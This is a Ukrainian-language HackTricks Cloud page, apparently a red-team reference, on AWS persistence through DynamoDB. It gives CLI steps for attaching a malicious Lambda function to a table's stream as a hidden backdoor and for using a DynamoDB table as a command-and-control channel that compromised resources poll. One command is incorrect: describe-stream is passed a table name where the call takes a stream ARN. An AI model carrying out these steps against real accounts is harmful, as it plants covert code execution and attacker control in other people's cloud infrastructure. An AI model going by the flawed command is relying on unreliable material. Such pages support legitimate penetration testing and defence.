AWS - DynamoDB Persistence
Reading time: 3 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
DynamoDB
Для отримання додаткової інформації зверніться до:
Тригери DynamoDB з бекдором Lambda
Використовуючи тригери DynamoDB, зловмисник може створити прихований бекдор, асоціювавши шкідливу функцію Lambda з таблицею. Функція Lambda може бути активована, коли елемент додається, змінюється або видаляється, що дозволяє зловмиснику виконувати довільний код у обліковому записі AWS.
# Create a malicious Lambda function
aws lambda create-function \
--function-name MaliciousFunction \
--runtime nodejs14.x \
--role <LAMBDA_ROLE_ARN> \
--handler index.handler \
--zip-file fileb://malicious_function.zip \
--region <region>
# Associate the Lambda function with the DynamoDB table as a trigger
aws dynamodbstreams describe-stream \
--table-name TargetTable \
--region <region>
# Note the "StreamArn" from the output
aws lambda create-event-source-mapping \
--function-name MaliciousFunction \
--event-source <STREAM_ARN> \
--region <region>
Щоб підтримувати стійкість, зловмисник може створювати або змінювати елементи в таблиці DynamoDB, що викликатиме шкідливу функцію Lambda. Це дозволяє зловмиснику виконувати код в обліковому записі AWS без прямої взаємодії з функцією Lambda.
DynamoDB як C2 канал
Зловмисник може використовувати таблицю DynamoDB як канал команд і контролю (C2), створюючи елементи, що містять команди, і використовуючи скомпрометовані екземпляри або функції Lambda для отримання та виконання цих команд.
# Create a DynamoDB table for C2
aws dynamodb create-table \
--table-name C2Table \
--attribute-definitions AttributeName=CommandId,AttributeType=S \
--key-schema AttributeName=CommandId,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--region <region>
# Insert a command into the table
aws dynamodb put-item \
--table-name C2Table \
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
--region <region>
Скомпрометовані екземпляри або функції Lambda можуть періодично перевіряти таблицю C2 на наявність нових команд, виконувати їх і, за бажанням, повідомляти результати назад до таблиці. Це дозволяє зловмиснику підтримувати стійкість і контроль над скомпрометованими ресурсами.
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.